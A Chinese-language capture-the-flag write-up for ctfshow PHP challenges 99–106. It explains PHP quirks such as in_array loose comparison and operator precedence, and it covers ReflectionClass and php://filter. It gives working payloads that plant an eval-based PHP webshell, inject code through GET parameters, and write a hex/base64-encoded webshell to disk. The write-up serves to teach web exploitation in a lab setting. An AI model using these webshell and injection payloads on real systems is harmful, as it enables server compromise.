首页 > 编程语言 >php特性第二天

php特性第二天

时间:2023-05-24 16:47:34浏览次数:26  
标签:函数 dump 第二天 特性 v1 v2 var array php

99

array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。
该函数等于多次调用 $array[] = $value。

in_array() 函数搜索数组中是否存在指定的值。(注意:in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换)

file_put_contents() 函数把一个字符串写入文件中。
与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

重点在于in_array()函数的漏洞 给n传参,1.php 直接被转化为1和allow中的值比较
之后使用file_put_contents函数创造文件并构造shell
payload:GET n=1.php POST content=<?php @eval($_POST["a"]);?>

image-20230520163420860

100

image-20230520170307836


is_numeric() 函数用于检测变量是否为数字或数字字符串。
and/&& 和 or/|| 这两组运算符的优先级竟然是不一样的. and和or的优先级是低于=的
var_dump — 打印变量的相关信息
payload:?v1=1&v2=var_dump($ctfshow)&v3=;
payload:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

注意,626624430x2dedf00x2d4b980x2dae500x2dc539bdf350e1 中的0x2d要替换为 - ,ASCII编码

102

var_dump被过滤了

最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow');
payload:?v1=1&v2=echo new ReflectionClass&v3=;

最后一个值要疯狂尝试0-9 a-f

反射类拓展

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

103

image-20230522194326997

call_user_func()  函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents() 函数写入内容到文件中,第一个参数是文件名,第二个参数是内容
substr() 返回字符串的子串
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
首先,get传参v2和v3,post传参v1;if中需要v4为真才能往下执行,而v4要为真就是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell
为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字

image-20230522195249892

说明:<?=是php的短标签,是echo()的快捷用法
还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数
所以payload为

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag

103和102相同payload

104

image-20230522201026449

104出题人出的有些失误,没有判断v1与v2的值,所以直接传post: v1=a get: v2=a就可以了,也可以用数组绕过。

106

106修复了这个问题,但是还是可以用数组绕过,当然如果加上强制类型转换,我们就得找其他的了,下面给出几个符合的。

image-20230522201453434

106修复了这个问题,但是还是可以用数组绕过,当然如果加上强制类型转换,我们就得找其他的了,下面给出几个符合的。
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

105

foreach有两种语法:

第一种:遍历给定的 数组语句 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

foreach (array_expression as $value)
第二种:同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。

foreach (array_expression as $key => $value)

image-20230522202520403

标签:函数,dump,第二天,特性,v1,v2,var,array,php
From: https://www.cnblogs.com/vaneshadow/p/17428783.html

相关文章

  • 制作一个生产环境可用的PHP基础镜像
    目录引言了解PHP基础镜像需求分析以及镜像选择构建准备最终的Dockerfile引言初学docker一定会觉得Dockerfile很难,其实只是无从下手的缘故。最好的学习方法就是看完每个Dokerfile指令的作用,然后不要急着去搞清楚,直接挑选一个你比较熟悉的服务软件动手自己制作一个。最......
  • openbiz PHP开源框架,企业级应用的功能基本都有了
    [url]http://www.iteye.com/topic/1128832[/url]openbizPHP开源框架,企业级应用的功能基本都有了我使用了一段时间,感觉还不错,现在推荐大家试试开源下载地址:http://code.google.com/p/openbiz-cubiQ群214408120[img]http://dl.iteye.com/upload/attach......
  • centos7安装erlang、rabbitmq以及php扩展
    centos7安装erlang、rabbitmq以及php扩展标签(空格分隔):liunx,php安装Erlang版本:el7erlang-20.3.8.25erlang-20.3.8.25-1.el7.x86_64.rpm1.下载wget--content-disposition"https://packagecloud.io/rabbitmq/erlang/packages/el/7/erlang-20.3.8.25-1.el7.x86_64.rpm/d......
  • 【web 开发】PHP8中数组的序列化和反序列化
    前言数组的序列化(serialize)用来将数组的数据转换为字符串,以方便传递和数据库的存储。与之相对应的操作就是反序列化(unserialize),把字符串数据转换为数组加以使用。数组的序列化主要通过serialize()函数来完成。字符串的反序列化主要通过unserialize()函数来完成。对象的序列化与反序......
  • Graphpad Prism9.5.1 数据处理绘图软件详细安装教程 (含Win/Mac版)
    GraphPadPrismGraphPadPrism是一款非常专业强大的科研医学生物数据处理绘图软件,它可以将科学图形、综合曲线拟合(非线性回归)、可理解的统计数据、数据组织结合在一起,除了最基本的数据统计分析外,还能自动生成统计图。  安装教程下面就简单的介绍一下Win版的安装教程详细图文教程......
  • php反序列化逃逸
    之前就对字符串逃逸这一块理解的不是很深刻,下面通过一位师傅的博客来进一步深入理解一下有关php字符串逃逸的相关内容。贴上师傅的博客地址:https://blog.csdn.net/qq_45521281/article/details/107135706先来说一下什么是字符串逃逸,就是我们可以构造一些恶意代码,让其在反序列化......
  • xctf_easyphp
    easyphp类型:PHP代码审计1.审查传值2.观看分析条件从上往下看:1.if(isset($a)&&intval($a)>6000000&&strlen($a)<=3)2.if(isset($b)&&'8b184b'===substr(md5($b),-6,6))3.$c=(array)json_decode(@$_GET['c'])4.if(is_a......
  • mysql的继续学习第二天
    在mysql中读取文件的函数load_file使用方法:select*fromarticlewhereid=-1unionselect1,1,1,1,load_file('c:/boot.ini');//load_file会占一位,并且路径使用括号包围intooutfile写入函数:(来自csdn查找)要使用intooutfile把代码写到web目录取得webshell首先需要3大先天......
  • PHP用PhpOffice->PhpSpreadsheet导出excel
    phpexcel由于版本陈旧性能低下官方放弃维护转而开发PhpSpreadsheet用了最新得psr标准因而对php版本不向下兼容需要注意!。PhpSpreadsheet是一个用纯PHP编写的库,提供了一组类,使您可以读取和写入不同的电子表格文件格式PhpSpreadsheet提供了丰富的API接口,可以设置诸多单元格以及文......
  • jdk17 新增特性
    306:RestoreAlways-StrictFloating-PointSemantics/恢复始终严格的浮点语义356:EnhancedPseudo-RandomNumberGenerators/增强型伪随机数发生器382:NewmacOSRenderingPipeline/新的macOS渲染管道391:macOS/AArch64Port/macOS/AArch64平台支持398:Deprecatet......